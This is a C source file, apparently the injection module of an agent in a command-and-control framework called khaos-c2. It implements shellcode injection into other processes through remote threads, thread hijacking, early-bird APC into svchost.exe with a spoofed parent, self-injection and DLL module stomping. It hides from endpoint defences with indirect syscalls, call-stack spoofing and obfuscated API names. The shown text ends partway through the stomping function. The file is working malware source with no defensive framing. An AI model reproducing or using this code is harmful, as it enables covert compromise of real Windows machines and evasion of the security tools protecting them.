Files
28Zaaky-khaos-c2/agent/src/inject/inject.c
T
2026-06-30 18:02:46 +03:00

1047 lines
30 KiB
C

#include "inject.h"
#include "evs_strings.h"
#include "peb_walk.h"
#include <windows.h>
#include <tlhelp32.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
typedef LONG NTSTATUS;
static DWORD _rt(HANDLE h)
{
static DWORD(WINAPI * fn)(HANDLE) = NULL;
if (!fn)
{
char fs[16], ks[16];
EVS_D(fs, EVS_fn_ResumeThread);
EVS_D(ks, EVS_dll_kernel32);
HMODULE m = _peb_module(ks);
SecureZeroMemory(ks, sizeof(ks));
if (m)
fn = (DWORD(WINAPI *)(HANDLE))GetProcAddress(m, fs);
SecureZeroMemory(fs, sizeof(fs));
}
return fn ? fn(h) : (DWORD)-1;
}
/* ---- Spoof-call globals (accessed by name from spoof_stub.S) ---- */
void *inj_sc_gadget = NULL; /* syscall;ret in ntdll .text */
void *inj_frame1 = NULL; /* kernelbase `ret` gadget */
void *inj_frame2 = NULL; /* ntdll `ret` gadget */
/* Defined in spoof_stub.S — call-stack-spoofed indirect syscall dispatcher.
* SSN + up to 11 args; unused trailing args must be 0.
* All frames in .text (MEM_IMAGE) — no VirtualAlloc stub. */
extern NTSTATUS inj_sc(WORD ssn,
uintptr_t a1, uintptr_t a2, uintptr_t a3, uintptr_t a4,
uintptr_t a5, uintptr_t a6, uintptr_t a7, uintptr_t a8,
uintptr_t a9, uintptr_t a10, uintptr_t a11);
/* Nt* struct definitions (no winternl.h to avoid SDK conflicts) */
typedef struct
{
ULONG Length;
HANDLE RootDirectory;
PVOID ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} INJ_OA;
typedef struct
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
} INJ_CID;
/* void* for struct pointer args — ABI-safe on x64 */
typedef NTSTATUS(NTAPI *NtOpenProcess_t)(
PHANDLE hProcess,
ACCESS_MASK access,
void *oa,
void *cid);
typedef NTSTATUS(NTAPI *NtAllocVm_t)(
HANDLE hProcess,
PVOID *base,
ULONG_PTR zeroBits,
PSIZE_T regionSize,
ULONG allocType,
ULONG protect);
typedef NTSTATUS(NTAPI *NtWriteVm_t)(
HANDLE hProcess,
PVOID base,
PVOID buf,
SIZE_T len,
PSIZE_T written);
typedef NTSTATUS(NTAPI *NtProtectVm_t)(
HANDLE hProcess,
PVOID *base,
PSIZE_T regionSize,
ULONG newProtect,
PULONG oldProtect);
typedef NTSTATUS(NTAPI *NtCreateThreadEx_t)(
PHANDLE hThread,
ACCESS_MASK access,
void *oa,
HANDLE hProcess,
PVOID startRoutine,
PVOID arg,
ULONG flags,
SIZE_T zeroBits,
SIZE_T stackSize,
SIZE_T maxStack,
PVOID attrList);
typedef NTSTATUS(NTAPI *NtClose_t)(HANDLE h);
typedef NTSTATUS(NTAPI *NtQueueApcThread_t)(
HANDLE hThread,
PVOID ApcRoutine,
PVOID ApcRoutineContext,
PVOID ApcStatusBlock,
PVOID ApcReserved);
/* module-stomp syscall types */
typedef NTSTATUS(NTAPI *NtCreateSection_t)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
void *ObjectAttributes,
PLARGE_INTEGER MaximumSize,
ULONG SectionPageProtect,
ULONG AllocationAttributes,
HANDLE FileHandle);
typedef NTSTATUS(NTAPI *NtMapViewOfSection_t)(
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize,
DWORD InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect);
typedef NTSTATUS(NTAPI *NtUnmapViewOfSection_t)(
HANDLE ProcessHandle,
PVOID BaseAddress);
/* thread-hijack syscall types */
typedef NTSTATUS(NTAPI *NtOpenThread_t)(
PHANDLE hThread,
ACCESS_MASK access,
void *oa,
void *cid);
typedef NTSTATUS(NTAPI *NtSuspendThread_t)(
HANDLE hThread,
PULONG PrevSuspendCount);
typedef NTSTATUS(NTAPI *NtResumeThread_t)(
HANDLE hThread,
PULONG PrevSuspendCount);
typedef NTSTATUS(NTAPI *NtGetCtx_t)(
HANDLE hThread,
PCONTEXT ctx);
typedef NTSTATUS(NTAPI *NtSetCtx_t)(
HANDLE hThread,
PCONTEXT ctx);
/* ---- ntdll handle (XOR-decoded, resolved once) ---- */
static HMODULE _ntdll(void)
{
static HMODULE s_h = NULL;
if (s_h)
return s_h;
char s[10] = {0};
EVS_D(s, EVS_dll_ntdll);
s_h = _peb_module(s);
SecureZeroMemory(s, sizeof(s));
return s_h;
}
/* ---- Indirect syscall gadget (syscall;ret inside ntdll .text) ---- */
static void *_syscall_gadget(void)
{
static void *s_g = NULL;
if (s_g)
return s_g;
HMODULE h = _ntdll();
if (!h)
return NULL;
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)(void *)h;
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)((BYTE *)h + dos->e_lfanew);
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++)
{
if (memcmp(sec->Name, ".text", 5) != 0)
continue;
BYTE *base = (BYTE *)h + sec->VirtualAddress;
SIZE_T sz = sec->Misc.VirtualSize;
for (SIZE_T j = 0; j + 2 < sz; j++)
{
/* syscall;ret opcode sequence */
if (base[j] == 0x0F && base[j + 1] == 0x05 && base[j + 2] == 0xC3)
{
s_g = base + j;
return s_g;
}
}
}
return NULL;
}
/* resolve syscall number (SSN) from ntdll EAT, with Halo's Gate fallback */
static WORD _ssn(const char *name)
{
HMODULE ntdll = _ntdll();
if (!ntdll)
return 0xFFFF;
BYTE *fn = (BYTE *)(void *)GetProcAddress(ntdll, name);
if (!fn)
return 0xFFFF;
if (fn[0] == 0x4C && fn[1] == 0x8B && fn[2] == 0xD1 && fn[3] == 0xB8)
return *(WORD *)(fn + 4);
/* hooked: scan EAT for unhooked neighbor and adjust SSN by delta */
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)(void *)ntdll;
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)((BYTE *)ntdll + dos->e_lfanew);
IMAGE_EXPORT_DIRECTORY *exp = (IMAGE_EXPORT_DIRECTORY *)((BYTE *)ntdll + nt->OptionalHeader.DataDirectory[0].VirtualAddress);
DWORD *names = (DWORD *)((BYTE *)ntdll + exp->AddressOfNames);
DWORD *funcs = (DWORD *)((BYTE *)ntdll + exp->AddressOfFunctions);
WORD *ords = (WORD *)((BYTE *)ntdll + exp->AddressOfNameOrdinals);
int idx = -1;
for (DWORD i = 0; i < exp->NumberOfNames; i++)
{
if (strcmp((char *)((BYTE *)ntdll + names[i]), name) == 0)
{
idx = (int)i;
break;
}
}
if (idx < 0)
return 0xFFFF;
for (int d = 1; d <= 32; d++)
{
for (int s = -1; s <= 1; s += 2)
{
int ni = idx + s * d;
if (ni < 0 || ni >= (int)exp->NumberOfNames)
continue;
BYTE *nb = (BYTE *)ntdll + funcs[ords[ni]];
if (nb[0] == 0x4C && nb[1] == 0x8B && nb[2] == 0xD1 && nb[3] == 0xB8)
return (WORD)(*(WORD *)(nb + 4) - (WORD)(s * d));
}
}
return 0xFFFF;
}
/* Find first `ret` (0xC3) in module .text at or past min_off bytes into section */
static void *_find_ret_gadget(HMODULE h, SIZE_T min_off)
{
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)(void *)h;
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)((BYTE *)h + dos->e_lfanew);
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++)
{
if (memcmp(sec->Name, ".text", 5) != 0)
continue;
BYTE *base = (BYTE *)h + sec->VirtualAddress;
SIZE_T sz = sec->Misc.VirtualSize;
for (SIZE_T j = min_off; j < sz; j++)
if (base[j] == 0xC3)
return base + j;
}
return NULL;
}
static BOOL _init_spoof_frames(void)
{
inj_sc_gadget = _syscall_gadget();
if (!inj_sc_gadget)
return FALSE;
char kbn[16] = {0};
EVS_D(kbn, EVS_dll_kernelbase);
HMODULE hkb = _peb_module(kbn);
SecureZeroMemory(kbn, sizeof(kbn));
if (hkb)
inj_frame1 = _find_ret_gadget(hkb, 0x2000);
inj_frame2 = _find_ret_gadget(_ntdll(), 0x3000);
return inj_frame1 && inj_frame2;
}
/* ---- Resolved syscall numbers — SSN_ prefix avoids SC_* Windows macro conflicts ---- */
enum
{
SSN_OPEN = 0,
SSN_ALLOC,
SSN_WRITE,
SSN_PROT,
SSN_THREAD,
SSN_CLOSE,
SSN_OPENTHRD,
SSN_SUSPEND,
SSN_RESUME,
SSN_GETCTX,
SSN_SETCTX,
SSN_APC,
SSN_CRTSEC,
SSN_MAPSEC,
SSN_UNMAPSEC,
SSN_COUNT
};
static WORD s_ssn[SSN_COUNT];
static BOOL s_ready = FALSE;
static BOOL s_hj_ready = FALSE;
static BOOL s_eb_ready = FALSE;
static BOOL s_stomp_ready = FALSE;
static BOOL _init(void)
{
if (s_ready)
return TRUE;
if (!inj_sc_gadget && !_init_spoof_frames())
return FALSE;
struct
{
const unsigned char *e;
size_t n;
int idx;
} t[] = {
{EVS_fn_NtOpenProcess, sizeof(EVS_fn_NtOpenProcess), SSN_OPEN},
{EVS_fn_NtAllocateVirtualMemory, sizeof(EVS_fn_NtAllocateVirtualMemory), SSN_ALLOC},
{EVS_fn_NtWriteVirtualMemory, sizeof(EVS_fn_NtWriteVirtualMemory), SSN_WRITE},
{EVS_fn_NtProtectVirtualMemory, sizeof(EVS_fn_NtProtectVirtualMemory), SSN_PROT},
{EVS_fn_NtCreateThreadEx, sizeof(EVS_fn_NtCreateThreadEx), SSN_THREAD},
{EVS_fn_NtClose, sizeof(EVS_fn_NtClose), SSN_CLOSE},
};
char _n[32];
for (int i = 0; i < 6; i++)
{
_evs_dec(_n, t[i].e, t[i].n);
s_ssn[t[i].idx] = _ssn(_n);
SecureZeroMemory(_n, t[i].n + 1);
if (s_ssn[t[i].idx] == 0xFFFF)
return FALSE;
}
s_ready = TRUE;
return TRUE;
}
static BOOL _init_hijack(void)
{
if (s_hj_ready)
return TRUE;
if (!inj_sc_gadget && !_init_spoof_frames())
return FALSE;
struct
{
const unsigned char *e;
size_t n;
int idx;
} t[] = {
{EVS_fn_NtOpenThread, sizeof(EVS_fn_NtOpenThread), SSN_OPENTHRD},
{EVS_fn_NtSuspendThread, sizeof(EVS_fn_NtSuspendThread), SSN_SUSPEND},
{EVS_fn_NtResumeThread, sizeof(EVS_fn_NtResumeThread), SSN_RESUME},
{EVS_fn_NtGetContextThread, sizeof(EVS_fn_NtGetContextThread), SSN_GETCTX},
{EVS_fn_NtSetContextThread, sizeof(EVS_fn_NtSetContextThread), SSN_SETCTX},
};
char _n[24];
for (int i = 0; i < 5; i++)
{
_evs_dec(_n, t[i].e, t[i].n);
s_ssn[t[i].idx] = _ssn(_n);
SecureZeroMemory(_n, t[i].n + 1);
if (s_ssn[t[i].idx] == 0xFFFF)
return FALSE;
}
s_hj_ready = TRUE;
return TRUE;
}
static BOOL _init_earlybird(void)
{
if (s_eb_ready)
return TRUE;
if (!inj_sc_gadget && !_init_spoof_frames())
return FALSE;
char _n[18];
EVS_D(_n, EVS_fn_NtQueueApcThread);
s_ssn[SSN_APC] = _ssn(_n);
SecureZeroMemory(_n, sizeof(_n));
if (s_ssn[SSN_APC] == 0xFFFF)
return FALSE;
s_eb_ready = TRUE;
return TRUE;
}
static BOOL _init_stomp(void)
{
if (s_stomp_ready)
return TRUE;
if (!_init())
return FALSE;
struct
{
const unsigned char *e;
size_t n;
int idx;
} t[] = {
{EVS_fn_NtCreateSection, sizeof(EVS_fn_NtCreateSection), SSN_CRTSEC},
{EVS_fn_NtMapViewOfSection, sizeof(EVS_fn_NtMapViewOfSection), SSN_MAPSEC},
{EVS_fn_NtUnmapViewOfSection, sizeof(EVS_fn_NtUnmapViewOfSection), SSN_UNMAPSEC},
};
char _n[24];
for (int i = 0; i < 3; i++)
{
_evs_dec(_n, t[i].e, t[i].n);
s_ssn[t[i].idx] = _ssn(_n);
SecureZeroMemory(_n, t[i].n + 1);
if (s_ssn[t[i].idx] == 0xFFFF)
return FALSE;
}
s_stomp_ready = TRUE;
return TRUE;
}
/* open a process handle via indirect NtOpenProcess — no Win32 OpenProcess in IAT */
HANDLE inject_nt_open_process(DWORD pid, DWORD access)
{
if (!_init())
return NULL;
HANDLE hproc = NULL;
INJ_OA oa = {sizeof(oa), NULL, NULL, 0, NULL, NULL};
INJ_CID cid = {(HANDLE)(uintptr_t)pid, NULL};
NTSTATUS st = inj_sc(s_ssn[SSN_OPEN],
(uintptr_t)&hproc, (uintptr_t)access, (uintptr_t)&oa, (uintptr_t)&cid,
0, 0, 0, 0, 0, 0, 0);
return st ? NULL : hproc;
}
/* find explorer.exe PID for PPID spoof */
static DWORD _find_explorer(void)
{
char _en[13];
EVS_D(_en, EVS_str_explorer_exe);
DWORD pid = 0;
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE)
{
SecureZeroMemory(_en, sizeof(_en));
return 0;
}
PROCESSENTRY32 pe;
pe.dwSize = sizeof(pe);
if (Process32First(snap, &pe))
do
{
if (_stricmp(pe.szExeFile, _en) == 0)
{
pid = pe.th32ProcessID;
break;
}
} while (Process32Next(snap, &pe));
CloseHandle(snap);
SecureZeroMemory(_en, sizeof(_en));
return pid;
}
/* find a suitable injection target process */
DWORD inject_find_target(void)
{
char n0[20], n1[14], n2[14];
EVS_D(n0, EVS_str_RuntimeBroker_exe);
EVS_D(n1, EVS_str_dllhost_exe);
EVS_D(n2, EVS_str_explorer_exe);
const char *prefs[4] = {n0, n1, n2, NULL};
DWORD results[3] = {0};
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE)
goto cleanup;
PROCESSENTRY32 pe;
pe.dwSize = sizeof(pe);
if (Process32First(snap, &pe))
{
do
{
for (int i = 0; prefs[i]; i++)
if (!results[i] && _stricmp(pe.szExeFile, prefs[i]) == 0)
results[i] = pe.th32ProcessID;
} while (Process32Next(snap, &pe));
}
CloseHandle(snap);
cleanup:
SecureZeroMemory(n0, sizeof(n0));
SecureZeroMemory(n1, sizeof(n1));
SecureZeroMemory(n2, sizeof(n2));
for (int i = 0; i < 3; i++)
if (results[i])
return results[i];
return 0;
}
/* inject shellcode into remote process via indirect Nt* syscalls */
int inject_remote(DWORD pid, const BYTE *sc, SIZE_T sc_len)
{
if (!sc || !sc_len || !_init())
return -1;
HANDLE hproc = NULL;
PVOID base = NULL;
SIZE_T sz = sc_len;
INJ_OA oa = {sizeof(oa), NULL, NULL, 0, NULL, NULL};
INJ_CID cid = {(HANDLE)(uintptr_t)pid, NULL};
NTSTATUS st = inj_sc(s_ssn[SSN_OPEN],
(uintptr_t)&hproc, PROCESS_ALL_ACCESS, (uintptr_t)&oa, (uintptr_t)&cid,
0, 0, 0, 0, 0, 0, 0);
if (st)
return -2;
/* alloc RW, never RWX */
st = inj_sc(s_ssn[SSN_ALLOC],
(uintptr_t)hproc, (uintptr_t)&base, 0, (uintptr_t)&sz,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, 0, 0, 0, 0, 0);
if (st)
{
inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
return -3;
}
SIZE_T nwritten = 0;
st = inj_sc(s_ssn[SSN_WRITE],
(uintptr_t)hproc, (uintptr_t)base, (uintptr_t)sc, (uintptr_t)sc_len,
(uintptr_t)&nwritten, 0, 0, 0, 0, 0, 0);
if (st || nwritten != sc_len)
{
inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
return -4;
}
/* flip RW -> RX, no RWX window */
ULONG old_prot;
sz = sc_len;
st = inj_sc(s_ssn[SSN_PROT],
(uintptr_t)hproc, (uintptr_t)&base, (uintptr_t)&sz,
PAGE_EXECUTE_READ, (uintptr_t)&old_prot, 0, 0, 0, 0, 0, 0);
if (st)
{
inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
return -5;
}
HANDLE hthread = NULL;
st = inj_sc(s_ssn[SSN_THREAD],
(uintptr_t)&hthread, THREAD_ALL_ACCESS, 0, (uintptr_t)hproc,
(uintptr_t)base, 0, 0, 0, 0, 0, 0);
if (st)
{
inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
return -6;
}
CloseHandle(hthread);
inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
return 0;
}
/* hijack an existing thread in target process instead of creating a new one */
int inject_thread_hijack(DWORD pid, const BYTE *sc, SIZE_T sc_len)
{
if (!sc || !sc_len)
return -1;
if (!_init() || !_init_hijack())
return -1;
/* open target for VM ops only, no thread-create rights */
HANDLE hproc = NULL;
PVOID base = NULL;
SIZE_T sz = sc_len;
INJ_OA oa = {sizeof(oa), NULL, NULL, 0, NULL, NULL};
INJ_CID cid = {(HANDLE)(uintptr_t)pid, NULL};
NTSTATUS st = inj_sc(s_ssn[SSN_OPEN],
(uintptr_t)&hproc,
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
(uintptr_t)&oa, (uintptr_t)&cid, 0, 0, 0, 0, 0, 0, 0);
if (st)
return -2;
/* alloc RW, write, flip RX */
st = inj_sc(s_ssn[SSN_ALLOC],
(uintptr_t)hproc, (uintptr_t)&base, 0, (uintptr_t)&sz,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, 0, 0, 0, 0, 0);
if (st)
{
inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
return -3;
}
SIZE_T nw = 0;
st = inj_sc(s_ssn[SSN_WRITE],
(uintptr_t)hproc, (uintptr_t)base, (uintptr_t)sc, (uintptr_t)sc_len,
(uintptr_t)&nw, 0, 0, 0, 0, 0, 0);
if (st || nw != sc_len)
{
inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
return -4;
}
ULONG old_prot;
sz = sc_len;
st = inj_sc(s_ssn[SSN_PROT],
(uintptr_t)hproc, (uintptr_t)&base, (uintptr_t)&sz,
PAGE_EXECUTE_READ, (uintptr_t)&old_prot, 0, 0, 0, 0, 0, 0);
if (st)
{
inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
return -5;
}
/* Enumerate threads — collect up to 64 TIDs belonging to pid */
DWORD tids[64];
int ntids = 0;
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (snap != INVALID_HANDLE_VALUE)
{
THREADENTRY32 te;
te.dwSize = sizeof(te);
if (Thread32First(snap, &te))
{
do
{
if (te.th32OwnerProcessID == pid && ntids < 64)
tids[ntids++] = te.th32ThreadID;
} while (Thread32Next(snap, &te));
}
CloseHandle(snap);
}
if (!ntids)
{
inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
return -6;
}
/* prefer secondary thread (index 1) over main thread (index 0) */
DWORD target_tid = (ntids > 1) ? tids[1] : tids[0];
/* open thread via syscall */
HANDLE hthread = NULL;
INJ_CID tcid = {(HANDLE)(uintptr_t)pid, (HANDLE)(uintptr_t)target_tid};
st = inj_sc(s_ssn[SSN_OPENTHRD],
(uintptr_t)&hthread,
THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT,
(uintptr_t)&oa, (uintptr_t)&tcid, 0, 0, 0, 0, 0, 0, 0);
if (st)
{
inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
return -7;
}
/* suspend, redirect RIP, resume */
ULONG prev = 0;
st = inj_sc(s_ssn[SSN_SUSPEND], (uintptr_t)hthread, (uintptr_t)&prev,
0, 0, 0, 0, 0, 0, 0, 0, 0);
if (st)
{
inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hthread, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
return -8;
}
CONTEXT ctx;
memset(&ctx, 0, sizeof(ctx));
ctx.ContextFlags = CONTEXT_FULL;
st = inj_sc(s_ssn[SSN_GETCTX], (uintptr_t)hthread, (uintptr_t)&ctx,
0, 0, 0, 0, 0, 0, 0, 0, 0);
if (st)
{
inj_sc(s_ssn[SSN_RESUME], (uintptr_t)hthread, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hthread, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
return -9;
}
#ifdef _WIN64
ctx.Rip = (DWORD64)(uintptr_t)base;
#else
ctx.Eip = (DWORD)(uintptr_t)base;
#endif
st = inj_sc(s_ssn[SSN_SETCTX], (uintptr_t)hthread, (uintptr_t)&ctx,
0, 0, 0, 0, 0, 0, 0, 0, 0);
inj_sc(s_ssn[SSN_RESUME], (uintptr_t)hthread, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hthread, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
inj_sc(s_ssn[SSN_CLOSE], (uintptr_t)hproc, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
return st ? -10 : 0;
}
/* spawn suspended process, queue shellcode as APC, resume */
int inject_earlybird(const BYTE *sc, SIZE_T sc_len)
{
if (!sc || !sc_len)
return -1;
if (!_init() || !_init_earlybird())
return -1;
char svc_name[16] = {0};
EVS_D(svc_name, EVS_str_svchost_exe);
/* Build full path: C:\Windows\System32\svchost.exe */
char sys32[MAX_PATH];
if (!GetSystemDirectoryA(sys32, sizeof(sys32)))
return -2;
char target[512]; /* 512 > MAX_PATH + 1 + 11 (svchost.exe) — no truncation */
snprintf(target, sizeof(target), "%s\\%s", sys32, svc_name);
SecureZeroMemory(svc_name, sizeof(svc_name));
/* PPID spoof: appear to be a child of explorer.exe, not the agent */
typedef BOOL(WINAPI * InitPTA_t)(LPPROC_THREAD_ATTRIBUTE_LIST, DWORD, DWORD, PSIZE_T);
typedef BOOL(WINAPI * UpdatePTA_t)(LPPROC_THREAD_ATTRIBUTE_LIST, DWORD, DWORD_PTR, PVOID, SIZE_T, PVOID, PSIZE_T);
typedef void(WINAPI * DelPTA_t)(LPPROC_THREAD_ATTRIBUTE_LIST);
char _ipta[34], _upta[26], _dpta[30];
HMODULE hk32;
{
EVS_D(_ipta, EVS_fn_InitializeProcThreadAttributeList);
EVS_D(_upta, EVS_fn_UpdateProcThreadAttribute);
EVS_D(_dpta, EVS_fn_DeleteProcThreadAttributeList);
char _ks[14];
EVS_D(_ks, EVS_dll_kernel32);
hk32 = _peb_module(_ks);
SecureZeroMemory(_ks, sizeof(_ks));
}
InitPTA_t fn_init = hk32 ? (InitPTA_t)GetProcAddress(hk32, _ipta) : NULL;
UpdatePTA_t fn_upd = hk32 ? (UpdatePTA_t)GetProcAddress(hk32, _upta) : NULL;
DelPTA_t fn_del = hk32 ? (DelPTA_t)GetProcAddress(hk32, _dpta) : NULL;
HANDLE hParent = NULL;
LPPROC_THREAD_ATTRIBUTE_LIST pAttrList = NULL;
SIZE_T attrListSz = 0;
BOOL ppid_ok = FALSE;
if (fn_init && fn_upd && fn_del)
{
DWORD explorer_pid = _find_explorer();
if (explorer_pid)
{
hParent = inject_nt_open_process(explorer_pid,
0x0080 /* PROCESS_CREATE_PROCESS */);
}
if (hParent)
{
fn_init(NULL, 1, 0, &attrListSz);
pAttrList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
GetProcessHeap(), 0, attrListSz);
if (pAttrList && fn_init(pAttrList, 1, 0, &attrListSz))
{
/* PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000 */
if (fn_upd(pAttrList, 0, 0x00020000,
&hParent, sizeof(HANDLE), NULL, NULL))
ppid_ok = TRUE;
}
}
}
STARTUPINFOEXA siex = {0};
PROCESS_INFORMATION pi = {0};
siex.StartupInfo.cb = sizeof(siex);
DWORD cflags = CREATE_SUSPENDED | CREATE_NO_WINDOW;
if (ppid_ok)
{
siex.lpAttributeList = pAttrList;
cflags |= EXTENDED_STARTUPINFO_PRESENT;
}
if (!CreateProcessA(target, NULL, NULL, NULL, FALSE,
cflags, NULL, NULL,
(LPSTARTUPINFOA)&siex, &pi))
{
if (pAttrList)
{
fn_del(pAttrList);
HeapFree(GetProcessHeap(), 0, pAttrList);
}
if (hParent)
CloseHandle(hParent);
return -2;
}
if (pAttrList)
{
fn_del(pAttrList);
HeapFree(GetProcessHeap(), 0, pAttrList);
}
if (hParent)
CloseHandle(hParent);
/* Allocate RW shellcode region in remote process */
HANDLE hproc = pi.hProcess;
PVOID base = NULL;
SIZE_T sz = sc_len;
NTSTATUS st = inj_sc(s_ssn[SSN_ALLOC],
(uintptr_t)hproc, (uintptr_t)&base, 0, (uintptr_t)&sz,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, 0, 0, 0, 0, 0);
if (st)
{
TerminateProcess(hproc, 0);
CloseHandle(pi.hThread);
CloseHandle(hproc);
return -3;
}
/* Write shellcode */
SIZE_T nw = 0;
st = inj_sc(s_ssn[SSN_WRITE],
(uintptr_t)hproc, (uintptr_t)base, (uintptr_t)sc, (uintptr_t)sc_len,
(uintptr_t)&nw, 0, 0, 0, 0, 0, 0);
if (st || nw != sc_len)
{
TerminateProcess(hproc, 0);
CloseHandle(pi.hThread);
CloseHandle(hproc);
return -4;
}
/* Flip RW → RX — no RWX window */
ULONG old_prot;
sz = sc_len;
st = inj_sc(s_ssn[SSN_PROT],
(uintptr_t)hproc, (uintptr_t)&base, (uintptr_t)&sz,
PAGE_EXECUTE_READ, (uintptr_t)&old_prot, 0, 0, 0, 0, 0, 0);
if (st)
{
TerminateProcess(hproc, 0);
CloseHandle(pi.hThread);
CloseHandle(hproc);
return -5;
}
/* Queue APC targeting the main thread (currently suspended) */
st = inj_sc(s_ssn[SSN_APC],
(uintptr_t)pi.hThread, (uintptr_t)base, 0, 0, 0, 0, 0, 0, 0, 0, 0);
if (st)
{
TerminateProcess(hproc, 0);
CloseHandle(pi.hThread);
CloseHandle(hproc);
return -6;
}
/* resume — APC fires during ntdll init before EDR hooks install */
_rt(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(hproc);
return 0;
}
/* inject shellcode into current process */
int inject_self(const BYTE *sc, SIZE_T sc_len)
{
if (!sc || !sc_len || !_init())
return -1;
HANDLE self = (HANDLE)(LONG_PTR)-1; /* NtCurrentProcess */
PVOID base = NULL;
SIZE_T sz = sc_len;
/* alloc RW, no RWX */
NTSTATUS st = inj_sc(s_ssn[SSN_ALLOC],
(uintptr_t)self, (uintptr_t)&base, 0, (uintptr_t)&sz,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, 0, 0, 0, 0, 0);
if (st)
return -3;
/* write directly, same address space */
memcpy(base, sc, sc_len);
/* RW → RX */
ULONG old_prot;
sz = sc_len;
st = inj_sc(s_ssn[SSN_PROT],
(uintptr_t)self, (uintptr_t)&base, (uintptr_t)&sz,
PAGE_EXECUTE_READ, (uintptr_t)&old_prot, 0, 0, 0, 0, 0, 0);
if (st)
return -5;
/* Thread in current process */
HANDLE hthread = NULL;
st = inj_sc(s_ssn[SSN_THREAD],
(uintptr_t)&hthread, THREAD_ALL_ACCESS, 0, (uintptr_t)self,
(uintptr_t)base, 0, 0, 0, 0, 0, 0);
if (st)
return -6;
CloseHandle(hthread);
return 0;
}
/* map a signed DLL into target and overwrite its .text with shellcode */
int inject_stomp(DWORD pid, const BYTE *sc, SIZE_T sc_len, const char *dll_path)
{
if (!sc || !sc_len)
return -1;
if (!_init() || !_init_stomp())
return -1;
/* Resolve DLL path */
char path_buf[MAX_PATH];
if (!dll_path || !dll_path[0])
{
GetSystemDirectoryA(path_buf, sizeof(path_buf));
size_t plen = strlen(path_buf);
/* xpsservices.dll: small, always present, rarely loaded */
char _tail[18];
_tail[0] = '\\';
EVS_D(_tail + 1, EVS_dll_xpsservices);
size_t _tlen = strlen(_tail);
if (plen + _tlen < sizeof(path_buf))
memcpy(path_buf + plen, _tail, _tlen + 1);
dll_path = path_buf;
}
/* open DLL shared-read to avoid interfering with loaders */
HANDLE hFile = CreateFileA(dll_path,
GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
return -2;
/* Create image section (SEC_IMAGE = 0x1000000) */
HANDLE hSection = NULL;
NTSTATUS st = inj_sc(s_ssn[SSN_CRTSEC],
(uintptr_t)&hSection, 0xF001F, 0, 0,
0x02, 0x1000000, (uintptr_t)hFile, 0, 0, 0, 0);
CloseHandle(hFile);
if (st)
return -3;
/* Open target process */
